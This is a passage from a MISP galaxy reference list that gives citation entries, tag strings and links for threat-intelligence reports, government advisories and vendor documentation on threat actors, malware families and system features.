The tag is: *misp-galaxy:references="QuoIntelligence January 22 2024"*

Table 23791. Table References

Links

https://quointelligence.eu/2024/01/unc5221-unreported-and-undetected-wirefire-web-shell-variant/

Google Cloud June 10 2024

Mandiant. (2024, June 10). UNC5537 Targets Snowflake Customer Instances for Data Theft and Extortion . Retrieved June 13, 2024.

The tag is: *misp-galaxy:references="Google Cloud June 10 2024"*

Table 23792. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/unc5537-snowflake-data-theft-extortion

Mandiant UNC961 March 23 2023

Ryan Tomcik, Rufus Brown, Josh Fleischer. (2023, March 23). UNC961 in the Multiverse of Mandiant: Three Encounters with a Financially Motivated Threat Actor. Retrieved November 1, 2023.

The tag is: *misp-galaxy:references="Mandiant UNC961 March 23 2023"*

Table 23793. Table References

Links
https://www.mandiant.com/resources/blog/unc961-multiverse-financially-motivated

Mandiant Uncharmed May 1 2024

Ofir Rozmann, Asli Koksal, Adrian Hernandez, Sarah Bock, Jonathan Leathery. (2024, May 1). Uncharmed: Untangling Iran's APT42 Operations. Retrieved August 30, 2024.

The tag is: *misp-galaxy:references="Mandiant Uncharmed May 1 2024"*

Table 23794. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/untangling-iran-apt42-operations

Mandiant APT42 Operations 2024

Ofir Rozmann, Asli Koksal, Adrian Hernandez, Sarah Bock, and Jonathan Leathery. (2024, May 1). Uncharmed: Untangling Iran's APT42 Operations. Retrieved May 28, 2024.

The tag is: *misp-galaxy:references="Mandiant APT42 Operations 2024"*

Table 23795. Table References

Links

https://cloud.google.com/blog/topics/threat-intelligence/untangling-iran-apt42-operations

Mandiant APT42-untangling

Rozmann, O., et al. (2024, May 1). Uncharmed: Untangling Iran's APT42 Operations. Retrieved October 9, 2024.

The tag is: *misp-galaxy:references="Mandiant APT42-untangling"*

Table 23796. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/untangling-iran-apt42-operations

Trend Micro DRBControl February 2020

Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021.

The tag is: *misp-galaxy:references="Trend Micro DRBControl February 2020"*

Table 23797. Table References

Links
https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf

Checkpoint MosesStaff Nov 2021

Checkpoint Research. (2021, November 15). Uncovering MosesStaff techniques: Ideology over Money. Retrieved August 11, 2022.

The tag is: *misp-galaxy:references="Checkpoint MosesStaff Nov 2021"*

Table 23798. Table References

Links
https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/

bencane blog bashrc

Benjamin Cane. (2013, September 16). Understanding a little more about /etc/profile and /etc/bashrc. Retrieved September 25, 2024.

The tag is: *misp-galaxy:references="bencane blog bashrc"*

Table 23799. Table References

Links

https://web.archive.org/web/20220316014323/http://bencane.com/2013/09/16/understanding-a-little-more-about-etcprofile-and-etcbashrc/

Juniper DAI 2020

Juniper. (2020, September 23). Understanding and Using Dynamic ARP Inspection (DAI). Retrieved October 15, 2020.

The tag is: *misp-galaxy:references="Juniper DAI 2020"*

Table 23800. Table References

Links
https://www.juniper.net/documentation/en_US/junos/topics/task/configuration/understanding-and-using-dai.html

Understanding BumbleBee Loader The Delivery - VMRay 9 1 2023

Emre GÃ¼ler Threat Researcher. (2023, September 1). Understanding BumbleBee Loader The Delivery. Retrieved February 19, 2024.

The tag is: *misp-galaxy:references="Understanding BumbleBee Loader The Delivery - VMRay 9 1 2023"*

Table 23801. Table References

Links
https://www.vmray.com/cyber-security-blog/understanding-bumblebee-loader-the-delivery/

Understanding BumbleBee The malicious behavior - VMRay 9 1 2023

Emre GÃ¼ler Threat Researcher. (2023, September 1). Understanding BumbleBee The malicious behavior. Retrieved February 19, 2024.

The tag is: *misp-galaxy:references="Understanding BumbleBee The malicious behavior - VMRay 9 1 2023"*

Table 23802. Table References

Links
https://www.vmray.com/cyber-security-blog/understanding-bumblebee-the-malicious-behavior/

Google Cloud IAM Policies

Google Cloud. (2022, March 31). Understanding policies. Retrieved April 1, 2022.

The tag is: *misp-galaxy:references="Google Cloud IAM Policies"*

Table 23803. Table References

Links
https://cloud.google.com/iam/docs/policies

Juniper Traffic Mirroring

Juniper. (n.d.). Understanding Port Mirroring on EX2200, EX3200, EX3300, EX4200, EX4500, EX4550, EX6200, and EX8200 Series Switches. Retrieved October 19, 2020.

The tag is: *misp-galaxy:references="Juniper Traffic Mirroring"*

Table 23804. Table References

Links
https://www.juniper.net/documentation/en_US/junos/topics/concept/port-mirroring-ex-series.html

U.S. CISA Understanding LockBit June 2023

Cybersecurity and Infrastructure Security Agency. (2023, June 14). Understanding Ransomware Threat Actors: LockBit. Retrieved June 30, 2023.

The tag is: *misp-galaxy:references="U.S. CISA Understanding LockBit June 2023"*

Table 23805. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-165a

Joint Cybersecurity Advisory LockBit JUN 2023

CISA et al. (2023, June 14). UNDERSTANDING RANSOMWARE THREAT ACTORS: LOCKBIT. Retrieved February 5, 2025.

The tag is: *misp-galaxy:references="Joint Cybersecurity Advisory LockBit JUN 2023"*

Table 23806. Table References

Links
https://www.cisa.gov/sites/default/files/2023-06/aa23-165a_understanding_TA_LockBit_0.pdf

Auth0 Understanding Refresh Tokens

Auth0 Inc.. (n.d.). Understanding Refresh Tokens. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Auth0 Understanding Refresh Tokens"*

Table 23807. Table References

Links
https://auth0.com/learn/refresh-tokens

Huntress ScreenConnect 2 19 2024

Team Huntress. (2024, February 19). Understanding the ConnectWise ScreenConnect CVE-2024-1709 & CVE-2024-1708 . Retrieved February 22, 2024.

The tag is: *misp-galaxy:references="Huntress ScreenConnect 2 19 2024"*

Table 23808. Table References

Links
https://www.huntress.com/blog/a-catastrophe-for-control-understanding-the-screenconnect-authentication-bypass

baeldung Linux proc map 2022

baeldung. (2022, April 8). Understanding the Linux /proc/id/maps File. Retrieved March 31, 2023.

The tag is: *misp-galaxy:references="baeldung Linux proc map 2022"*

Table 23809. Table References

Links
https://www.baeldung.com/linux/proc-id-maps

Talos Phobos November 17 2023

Guilherme Venere. (2023, November 17). Understanding the Phobos affiliate structure and activity. Retrieved March 7, 2024.

The tag is: *misp-galaxy:references="Talos Phobos November 17 2023"*

Table 23810. Table References

Links
https://blog.talosintelligence.com/understanding-the-phobos-affiliate-structure/

Mandiant APT44 April 17 2024

Gabby Roncone, Dan Black, John Wolfram, Tyler McLellan, Nick Simonian, Ryan Hall, Anton Prokopenkov, Luke Jenkins, Dan Perez, Lexie Aytes, Alden Wahlstrom. (2024, April 17). Unearthing APT44: Russia’s Notorious Cyber Sabotage Unit Sandworm. Retrieved April 17, 2024.

The tag is: *misp-galaxy:references="Mandiant APT44 April 17 2024"*

Table 23811. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/apt44-unearthing-sandworm

FireEye KEGTAP SINGLEMALT October 2020

Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020.

The tag is: *misp-galaxy:references="FireEye KEGTAP SINGLEMALT October 2020"*

Table 23812. Table References

Links
https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html

Wikipedia UEFI

Wikipedia. (2017, July 10). Unified Extensible Firmware Interface. Retrieved July 11, 2017.

The tag is: *misp-galaxy:references="Wikipedia UEFI"*

Table 23813. Table References

Links
https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface

New DragonOK

Miller-Osborn, J., Grunzweig, J.. (2015, April). Unit 42 Identifies New DragonOK Backdoor Malware Deployed Against Japanese Targets. Retrieved November 4, 2015.

The tag is: *misp-galaxy:references="New DragonOK"*

Table 23814. Table References

Links
http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/

Unit 42 December 5 2024

Unit 42. (2024, December 5). Unit 42 - Latest Cyber Security Research . Retrieved December 12, 2024.

The tag is: *misp-galaxy:references="Unit 42 December 5 2024"*

Table 23815. Table References

Links
https://unit42.paloaltonetworks.com/atoms/automated-libra/

Unit 42 LinkedIn Agent Serpens June 9 2025

Palo Alto Networks Unit 42. (2025, June 9). Unit 42 LinkedIn Agent Serpens June 9 2025. Retrieved June 10, 2025.

The tag is: *misp-galaxy:references="Unit 42 LinkedIn Agent Serpens June 9 2025"*

Table 23816. Table References

Links
https://www.linkedin.com/posts/unit42_agentserpens-charmingkitten-powerless-ugcPost-7337886287195947009-Q53x

Unit 42 Playbook Dec 2017

Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.

The tag is: *misp-galaxy:references="Unit 42 Playbook Dec 2017"*

Table 23817. Table References

Links
https://pan-unit42.github.io/playbook_viewer/

Unit 42 SeaDuke 2015

Grunzweig, J.. (2015, July 14). Unit 42 Technical Analysis: Seaduke. Retrieved August 3, 2016.

The tag is: *misp-galaxy:references="Unit 42 SeaDuke 2015"*

Table 23818. Table References

Links
http://researchcenter.paloaltonetworks.com/2015/07/unit-42-technical-analysis-seaduke/

3OHA double-fork 2022

Juan Tapiador. (2022, April 11). UNIX daemonization and the double fork. Retrieved September 29, 2023.

The tag is: *misp-galaxy:references="3OHA double-fork 2022"*

Table 23819. Table References

Links
https://0xjet.github.io/3OHA/2022/04/11/post.html

WhiteSnake Stealer RussianPanda July 4 2023

RussianPanda. (2023, July 4). Unleashing the Viper : A Technical Analysis of WhiteSnake Stealer. Retrieved October 14, 2024.

The tag is: *misp-galaxy:references="WhiteSnake Stealer RussianPanda July 4 2023"*

Table 23820. Table References

Links
https://russianpanda.com/WhiteSnake-Stealer-Malware-Analysis

Flashpoint Anonymous Sudan Timeline

Flashpoint. (2023, June 20). Unmasking Anonymous Sudan: Timeline of DDoS Attacks, Affiliations, and Motivations. Retrieved October 10, 2023.

The tag is: *misp-galaxy:references="Flashpoint Anonymous Sudan Timeline"*

Table 23821. Table References

Links
https://flashpoint.io/blog/anonymous-sudan-ddos-timeline/

Permiso GUI-Vil 2023

Ian Ahl. (2023, May 22). Unmasking GUI-Vil: Financially Motivated Cloud Threat Actor. Retrieved August 30, 2024.

The tag is: *misp-galaxy:references="Permiso GUI-Vil 2023"*

Table 23822. Table References

Links
https://permiso.io/blog/s/unmasking-guivil-new-cloud-threat-actor/

Qualys LummaStealer 2024

Vishwajeet Kumar, Qualys. (2024, October 20). Unmasking Lumma Stealer: Analyzing Deceptive Tactics with Fake CAPTCHA. Retrieved March 22, 2025.

The tag is: *misp-galaxy:references="Qualys LummaStealer 2024"*

Table 23823. Table References

Links
https://blog.qualys.com/vulnerabilities-threat-research/2024/10/20/unmasking-lumma-stealer-analyzing-deceptive-tactics-with-fake-captcha

ESET MirrorFace December 14 2022

Dominik Breitenbacher. (2022, December 14). Unmasking MirrorFace: Operation LiberalFace targeting Japanese political entities. Retrieved April 9, 2025.

The tag is: *misp-galaxy:references="ESET MirrorFace December 14 2022"*

Table 23824. Table References

Links
https://www.welivesecurity.com/2022/12/14/unmasking-mirrorface-operation-liberalface-targeting-japanese-political-entities/

Infosecurity Magazine December 9 2024

Kevin Poireault. (2024, December 9). Unmasking Termite, the Ransomware Gang Claiming the Blue Yonder Attack. Retrieved December 10, 2024.

The tag is: *misp-galaxy:references="Infosecurity Magazine December 9 2024"*

Table 23825. Table References

Links
https://www.infosecurity-magazine.com/news/termite-ransomware-blue-yonder/

CloudSEK Lumma Stealer 2024

CloudSEK TRIAD. (2024, September 19). Unmasking the Danger: Lumma Stealer Malware Exploits Fake CAPTCHA Pages. Retrieved March 18, 2025.

The tag is: *misp-galaxy:references="CloudSEK Lumma Stealer 2024"*

Table 23826. Table References

Links
https://www.cloudsek.com/blog/unmasking-the-danger-lumma-stealer-malware-exploits-fake-captcha-pages

Cyber Hunters Ltd. November 4 2024

Team Axon. (2024, November 4). Unmasking VEILDrive Threat Actors Exploit Microsoft Services for C2. Retrieved November 8, 2024.

The tag is: *misp-galaxy:references="Cyber Hunters Ltd. November 4 2024"*

Table 23827. Table References

Links
https://www.hunters.security/en/blog/veildrive-microsoft-services-malware-c2

AADInternals Azure AD On-Prem to Cloud

Dr. Nestori Syynimaa. (2020, July 13). Unnoticed sidekick: Getting access to cloud as an on-prem admin. Retrieved September 28, 2022.

The tag is: *misp-galaxy:references="AADInternals Azure AD On-Prem to Cloud"*

Table 23828. Table References

Links
https://o365blog.com/post/on-prem_admin/

Adsecurity Mimikatz Guide

Metcalf, S. (2015, November 13). Unofficial Guide to Mimikatz & Command Reference. Retrieved December 23, 2015.

The tag is: *misp-galaxy:references="Adsecurity Mimikatz Guide"*

Table 23829. Table References

Links
https://adsecurity.org/?page_id=1821

InfoSec Write-ups 7 23 2023

Mov Eax. (2023, July 23). Unpacking Emotet Trojan. Retrieved February 27, 2024.

The tag is: *misp-galaxy:references="InfoSec Write-ups 7 23 2023"*

Table 23830. Table References

Links
https://infosecwriteups.com/unpacking-emotet-trojan-dac7e6119a0a

Cyble Akira May 10 2023

Cybleinc. (2023, May 10). Unraveling Akira Ransomware. Retrieved February 27, 2024.

The tag is: *misp-galaxy:references="Cyble Akira May 10 2023"*

Table 23831. Table References

Links
https://blog.cyble.com/2023/05/10/unraveling-akira-ransomware/

Kaspersky Lamberts Toolkit April 2017

GREAT. (2017, April 11). Unraveling the Lamberts Toolkit. Retrieved March 21, 2022.

The tag is: *misp-galaxy:references="Kaspersky Lamberts Toolkit April 2017"*

Table 23832. Table References

Links
https://securelist.com/unraveling-the-lamberts-toolkit/77990/

CrowdStrike Grim Spider May 2019

John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.

The tag is: *misp-galaxy:references="CrowdStrike Grim Spider May 2019"*

Table 23833. Table References

Links
https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/

Unregmp2.exe - LOLBAS Project

LOLBAS. (2021, December 6). Unregmp2.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Unregmp2.exe - LOLBAS Project"*

Table 23834. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Unregmp2/

TrendMicro Patchwork Dec 2017

Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.

The tag is: *misp-galaxy:references="TrendMicro Patchwork Dec 2017"*

Table 23835. Table References

Links

https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf

Kaspersky Careto

Kaspersky Labs. (2014, February 11). Unveiling “Careto” - The Masked APT. Retrieved July 5, 2017.

The tag is: *misp-galaxy:references="Kaspersky Careto"*

Table 23836. Table References

Links
https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdf

trendmicro_redcurl

Tancio et al. (2024, March 6). Unveiling Earth Kapre aka RedCurl’s Cyberespionage Tactics With Trend Micro MDR, Threat Intelligence. Retrieved August 9, 2024.

The tag is: *misp-galaxy:references="trendmicro_redcurl"*

Table 23837. Table References

Links
https://www.trendmicro.com/en_us/research/24/c/unveiling-earth-kapre-aka-redcurls-cyberespionage-tactics-with-t.html

crowdstrike.com December 19 2024

crowdstrike.com. (2024, December 19). Unveiling LIMINAL PANDA - Threats to Telecom Sector . Retrieved December 23, 2024.

The tag is: *misp-galaxy:references="crowdstrike.com December 19 2024"*

Table 23838. Table References

Links
https://www.crowdstrike.com/en-us/blog/liminal-panda-telecom-sector-threats/

NKAbuse SL

KASPERSKY GERT. (2023, December 14). Unveiling NKAbuse: a new multiplatform threat abusing the NKN protocol. Retrieved February 8, 2024.

The tag is: *misp-galaxy:references="NKAbuse SL"*

Table 23839. Table References

Links
https://securelist.com/unveiling-nkabuse/111512/

Cymmetria Patchwork

Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Cymmetria Patchwork"*

Table 23840. Table References

Links
https://web.archive.org/web/20180825085952/https:/s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf

Reichert aon sedexp 2024

Zachary Reichert. (2024, August 19). Unveiling "sedexp": A Stealthy Linux Malware Exploiting udev Rules. Retrieved September 26, 2024.

The tag is: *misp-galaxy:references="Reichert aon sedexp 2024"*

Table 23841. Table References

Links
https://www.aon.com/en/insights/cyber-labs/unveiling-sedexp

Orange Residential Proxies

Orange Cyberdefense. (2024, March 14). Unveiling the depths of residential proxies providers. Retrieved April 11, 2024.

The tag is: *misp-galaxy:references="Orange Residential Proxies"*

Table 23842. Table References

Links
https://www.orangecyberdefense.com/global/blog/research/residential-proxies

The DFIR Report Ursnif January 2023

The DFIR Report. (2023, January 9). Unwrapping Ursnifs Gifts. Retrieved May 10, 2023.

The tag is: *misp-galaxy:references="The DFIR Report Ursnif January 2023"*

Table 23843. Table References

Links

https://thedfirreport.com/2023/01/09/unwrapping-ursnifs-gifts/

Rapid7G20Espionage

Rapid7. (2013, August 26). Upcoming G20 Summit Fuels Espionage Operations. Retrieved March 6, 2017.

The tag is: *misp-galaxy:references="Rapid7G20Espionage"*

Table 23844. Table References

Links
https://blog.rapid7.com/2013/08/26/upcoming-g20-summit-fuels-espionage-operations/

Unit 42 BackConfig May 2020

Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020.

The tag is: *misp-galaxy:references="Unit 42 BackConfig May 2020"*

Table 23845. Table References

Links
https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/

Secureworks Karagany July 2019

Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020.

The tag is: *misp-galaxy:references="Secureworks Karagany July 2019"*

Table 23846. Table References

Links
https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector

Update.exe - LOLBAS Project

LOLBAS. (2019, June 26). Update.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Update.exe - LOLBAS Project"*

Table 23847. Table References

Links

https://lolbas-project.github.io/lolbas/OtherMSBinaries/Update/

GuidePoint Security INC Ransomware August 14 2024

Rui Ataide, Hermes Bojaxhi. (2024, August 14). Update from the Ransomware Trenches. Retrieved October 4, 2024.

The tag is: *misp-galaxy:references="GuidePoint Security INC Ransomware August 14 2024"*

Table 23848. Table References

Links
https://www.guidepointsecurity.com/blog/update-from-the-ransomware-trenches/

FBI SVR Update October 10 2024

U.S. Federal Bureau of Investigation. (2024, October 10). Update on SVR Cyber Operations and Vulnerability Exploitation. Retrieved October 14, 2024.

The tag is: *misp-galaxy:references="FBI SVR Update October 10 2024"*

Table 23849. Table References

Links
https://www.ic3.gov/Media/News/2024/241010.pdf

Microsoft - Update or Repair Federated domain

Microsoft. (2020, September 14). Update or repair the settings of a federated domain in Office 365, Azure, or Intune. Retrieved December 30, 2020.

The tag is: *misp-galaxy:references="Microsoft - Update or Repair Federated domain"*

Table 23850. Table References

Links
https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365

Trendmicro Evolving ThiefQuest 2020

Gabrielle Joyce Mabutas, Luis Magisa, Steven Du. (2020, July 17). Updates on Quickly-Evolving ThiefQuest macOS Malware. Retrieved April 26, 2021.

The tag is: *misp-galaxy:references="Trendmicro Evolving ThiefQuest 2020"*

Table 23851. Table References

Links
https://www.trendmicro.com/en_us/research/20/g/updates-on-quickly-evolving-thiefquest-macos-malware.html

AWS Update Trail

AWS. (n.d.). update-trail. Retrieved August 4, 2023.

The tag is: *misp-galaxy:references="AWS Update Trail"*

Table 23852. Table References

Links
https://awscli.amazonaws.com/v2/documentation/api/latest/reference/cloudtrail/update-trail.html

Unit 42 Pirpi July 2015

Falcone, R., Wartell, R.. (2015, July 27). UPS: Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved April 23, 2019.

The tag is: *misp-galaxy:references="Unit 42 Pirpi July 2015"*

Table 23853. Table References

Links
https://unit42.paloaltonetworks.com/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/

PaperCut MF/NG vulnerability bulletin

PaperCut. (2023, March 8). URGENT MF/NG vulnerability bulletin (March 2023) | PaperCut. Retrieved August 3, 2023.

The tag is: *misp-galaxy:references="PaperCut MF/NG vulnerability bulletin"*

Table 23854. Table References

Links
https://www.papercut.com/kb/Main/PO-1216-and-PO-1219#product-status-and-next-steps

URI Use

Nathan McFeters. Billy Kim Rios. Rob Carter.. (2008). URI Use and Abuse. Retrieved February 9, 2024.

The tag is: *misp-galaxy:references="URI Use"*

Table 23855. Table References

Links
https://www.blackhat.com/presentations/bh-dc-08/McFeters-Rios-Carter/Presentation/bh-dc-08-mcfeters-rios-carter.pdf

Url.dll - LOLBAS Project

LOLBAS. (2018, May 25). Url.dll. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Url.dll - LOLBAS Project"*

Table 23856. Table References

Links
https://lolbas-project.github.io/lolbas/Libraries/Url/

SCILabs Malteiro Threat Overlap 2023

SCILabs. (2023, October 8). URSA/Mispadu: Overlap analysis with other threats. Retrieved March 13, 2024.

The tag is: *misp-galaxy:references="SCILabs Malteiro Threat Overlap 2023"*

Table 23857. Table References

Links
https://blog.scilabs.mx/en/ursa-mispadu-overlap-analysis-with-other-threats/

NJCCIC Ursnif Sept 2016

NJCCIC. (2016, September 27). Ursnif. Retrieved September 12, 2024.

The tag is: *misp-galaxy:references="NJCCIC Ursnif Sept 2016"*

Table 23858. Table References

Links
https://www.cyber.nj.gov/threat-landscape/malware/trojans/ursnif

TrendMicro Ursnif Mar 2015

Caragay, R. (2015, March 26). URSNIF: The Multifaceted Malware. Retrieved June 5, 2019.

The tag is: *misp-galaxy:references="TrendMicro Ursnif Mar 2015"*

Table 23859. Table References

Links

https://web.archive.org/web/20210719165945/https://www.trendmicro.com/en_us/research/15/c/ursnif-the-multifaceted-malware.html?_ga=2.165628854.808042651.1508120821-744063452.1505819992

Proofpoint August 29 2016

Proofpoint. (2016, August 29). Ursnif Variant Dreambot Adds Tor Functionality | Proofpoint. Retrieved May 11, 2023.

The tag is: *misp-galaxy:references="Proofpoint August 29 2016"*

Table 23860. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/ursnif-variant-dreambot-adds-tor-functionality

Bleeping Computer US Cellular Hack 2022

Sergiu Gatlan. (2022, January 4). UScellular discloses data breach after billing system hack. Retrieved July 1, 2024.

The tag is: *misp-galaxy:references="Bleeping Computer US Cellular Hack 2022"*

Table 23861. Table References

Links
https://www.bleepingcomputer.com/news/security/uscellular-discloses-data-breach-after-billing-system-hack/

US Coast Guard Killnet August 17 2022

US Coast Guard Cyber Command. (2022, August 17). US Coast Guard Cyber Command Maritime Cyber Alert 03-22. Retrieved October 9, 2023.

The tag is: *misp-galaxy:references="US Coast Guard Killnet August 17 2022"*

Table 23862. Table References

Links
https://www.dco.uscg.mil/Portals/9/Maritime%20Cyber%20Alert%2003-22%20KILLNET%20TLP%20WHITE.pdf

USCYBERCOM SLOTHFULMEDIA October 2020

USCYBERCOM. (2020, October 1). USCYBERCOM Cybersecurity Alert SLOTHFULMEDIA. Retrieved September 12, 2024.

The tag is: *misp-galaxy:references="USCYBERCOM SLOTHFULMEDIA October 2020"*

Table 23863. Table References

Links
https://x.com/CNMF_CyberAlert/status/1311743710997159953

U.S. Justice Department Hive January 2023

Office of Public Affairs. (2023, January 26). U.S. Department of Justice Disrupts Hive Ransomware Variant. Retrieved June 18, 2024.

The tag is: *misp-galaxy:references="U.S. Justice Department Hive January 2023"*

Table 23864. Table References

Links
https://www.justice.gov/opa/pr/us-department-justice-disrupts-hive-ransomware-variant

win10_asr

Microsoft. (2021, July 2). Use attack surface reduction rules to prevent malware infection. Retrieved June 24, 2021.

The tag is: *misp-galaxy:references="win10_asr"*

Table 23865. Table References

Links
https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction

Azure AD Conditional Access Exclusions

Microsoft. (2022, August 26). Use Azure AD access reviews to manage users excluded from Conditional Access policies. Retrieved August 30, 2022.

The tag is: *misp-galaxy:references="Azure AD Conditional Access Exclusions"*

Table 23866. Table References

Links
https://docs.microsoft.com/en-us/azure/active-directory/governance/conditional-access-exclusion

Docker Bind Mounts

Docker. (n.d.). Use Bind Mounts. Retrieved March 30, 2021.

The tag is: *misp-galaxy:references="Docker Bind Mounts"*

Table 23867. Table References

Links
https://docs.docker.com/storage/bind-mounts/

Chrome Roaming Profiles

Chrome Enterprise and Education Help. (n.d.). Use Chrome Browser with Roaming User Profiles. Retrieved March 28, 2023.

The tag is: *misp-galaxy:references="Chrome Roaming Profiles"*

Table 23868. Table References

Links
https://support.google.com/chrome/a/answer/7349337

Ars Technica GRU indictment Jul 2018

Gallagher, S. (2018, July 27). How they did it (and will likely try again): GRU hackers vs. US elections. Retrieved September 13, 2018.

The tag is: *misp-galaxy:references="Ars Technica GRU indictment Jul 2018"*

Table 23869. Table References

Links
https://arstechnica.com/information-technology/2018/07/from-bitly-to-x-agent-how-gru-hackers-targeted-the-2016-presidential-election/

Remote Management MDM macOS

Apple. (n.d.). Use MDM to enable Remote Management in macOS. Retrieved September 23, 2021.

The tag is: *misp-galaxy:references="Remote Management MDM macOS"*

Table 23870. Table References

Links
https://support.apple.com/en-us/HT209161

Securelist Denis April 2017

Shulmin, A., Yunakovsky, S. (2017, April 28). Use of DNS Tunneling for C&C Communications. Retrieved November 5, 2018.

The tag is: *misp-galaxy:references="Securelist Denis April 2017"*

Table 23871. Table References

Links
https://securelist.com/use-of-dns-tunneling-for-cc-communications/78203/

Microsoft Quick Assist 2024

Microsoft. (2024, September 4). Use Quick Assist to help users. Retrieved March 14, 2025.

The tag is: *misp-galaxy:references="Microsoft Quick Assist 2024"*

Table 23872. Table References

Links
https://learn.microsoft.com/en-us/windows/client-management/client-tools/quick-assist

Microsoft UAC

Microsoft. (n.d.). User Account Control. Retrieved January 18, 2018.

The tag is: *misp-galaxy:references="Microsoft UAC"*

Table 23873. Table References

Links
https://msdn.microsoft.com/library/windows/desktop/dn742497.aspx

TechNet Inside UAC

Russinovich, M. (2009, July). User Account Control: Inside Windows 7 User Account Control. Retrieved July 26, 2016.

The tag is: *misp-galaxy:references="TechNet Inside UAC"*

Table 23874. Table References

Links
https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx

User Approved Kernel Extension Pike’s

Pikeralpha. (2017, August 29). User Approved Kernel Extension Loading…. Retrieved September 23, 2021.

The tag is: *misp-galaxy:references="User Approved Kernel Extension Pike’s"*

Table 23875. Table References

Links
https://pikeralpha.wordpress.com/2017/08/29/user-approved-kernel-extension-loading/

Adlice Software IAT Hooks Oct 2014

Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks. Retrieved December 12, 2017.

The tag is: *misp-galaxy:references="Adlice Software IAT Hooks Oct 2014"*

Table 23876. Table References

Links
https://www.adlice.com/userland-rootkits-part-1-iat-hooks/

Linux Usermod

Man7. (n.d.). Usermod. Retrieved August 5, 2024.

The tag is: *misp-galaxy:references="Linux Usermod"*

Table 23877. Table References

Links
https://www.man7.org/linux/man-pages/man8/usermod.8.html

cisco_username_cmd

Cisco. (2023, March 6). username - Cisco IOS Security Command Reference: Commands S to Z. Retrieved July 13, 2022.

The tag is: *misp-galaxy:references="cisco_username_cmd"*

Table 23878. Table References

Links
https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/s1/sec-s1-cr-book/sec-cr-t2.html#wp1047035630

Jamf User Password Policies

Holland, J. (2016, January 25). User password policies on non AD machines. Retrieved April 5, 2018.

The tag is: *misp-galaxy:references="Jamf User Password Policies"*

Table 23879. Table References

Links
https://www.jamf.com/jamf-nation/discussions/18574/user-password-policies-on-non-ad-machines

MacOS Email Rules

Apple. (n.d.). Use rules to manage emails you receive in Mail on Mac. Retrieved June 14, 2021.

The tag is: *misp-galaxy:references="MacOS Email Rules"*

Table 23880. Table References

Links
https://support.apple.com/guide/mail/use-rules-to-manage-emails-you-receive-mlhlp1017/mac

Microsoft 365 Sharing Auditing

Microsoft. (2023, October 1). Use sharing auditing in the audit log. Retrieved March 4, 2024.

The tag is: *misp-galaxy:references="Microsoft 365 Sharing Auditing"*

Table 23881. Table References

Links
https://learn.microsoft.com/en-us/purview/audit-log-sharing

Kickstart Apple Remote Desktop commands

Apple. (n.d.). Use the kickstart command-line utility in Apple Remote Desktop. Retrieved September 23, 2021.

The tag is: *misp-galaxy:references="Kickstart Apple Remote Desktop commands"*

Table 23882. Table References

Links
https://support.apple.com/en-us/HT201710

Microsoft Windows Event Forwarding FEB 2018

Hardy, T. & Hall, J. (2018, February 15). Use Windows Event Forwarding to help with intrusion detection. Retrieved August 7, 2018.

The tag is: *misp-galaxy:references="Microsoft Windows Event Forwarding FEB 2018"*

Table 23883. Table References

Links
https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection

Google Workspace Data Loss Prevention

Google. (n.d.). Use Workspace DLP to prevent data loss. Retrieved March 4, 2024.

The tag is: *misp-galaxy:references="Google Workspace Data Loss Prevention"*

Table 23884. Table References

Links
https://support.google.com/a/answer/9646351

Apple ZShell

Apple. (2020, January 28). Use zsh as the default shell on your Mac. Retrieved June 12, 2020.

The tag is: *misp-galaxy:references="Apple ZShell"*

Table 23885. Table References

Links
https://support.apple.com/HT208050

Kuberentes ABAC

Kuberenets. (n.d.). Using ABAC Authorization. Retrieved July 14, 2023.

The tag is: *misp-galaxy:references="Kuberentes ABAC"*

Table 23886. Table References

Links
https://kubernetes.io/docs/reference/access-authn-authz/abac/
